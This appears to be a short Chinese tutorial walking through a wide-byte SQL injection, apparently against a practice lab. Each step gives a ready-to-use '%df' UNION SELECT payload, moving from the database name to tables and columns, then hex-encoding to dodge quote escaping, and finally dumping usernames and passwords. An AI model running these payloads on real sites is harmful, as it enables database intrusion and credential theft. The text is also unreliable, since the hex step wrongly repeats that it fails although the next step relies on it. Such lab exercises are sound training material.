获取库名。修改参数为?id=-1%df' union select 1,2,database()--+,发现本站点数据库为security。
获取表名。修改参数为?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+,发现该数据库下公有4个表,其中有个users的表,是我们注入的目标。
获取字段名。修改参数为?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+,该参数执行失败了,因为整个参数中的所有单引号都会被转义。
用16进制代替英文字符串输入,可以无需使用单引号来括住users,很多工具可以将字符串转为16进制,users转为16进制就是7573657273,为了表示该数是16进制,需要在前面加上0x。修改参数为?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+,该参数执行失败了,因为整个参数中的所有单引号都会被转义。
获取字段内容。修改参数为?id=-1%df' union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users--+,该参数中0x3a是冒号的16进制格式,同样也是为了避免使用单引号导致被转义的问题。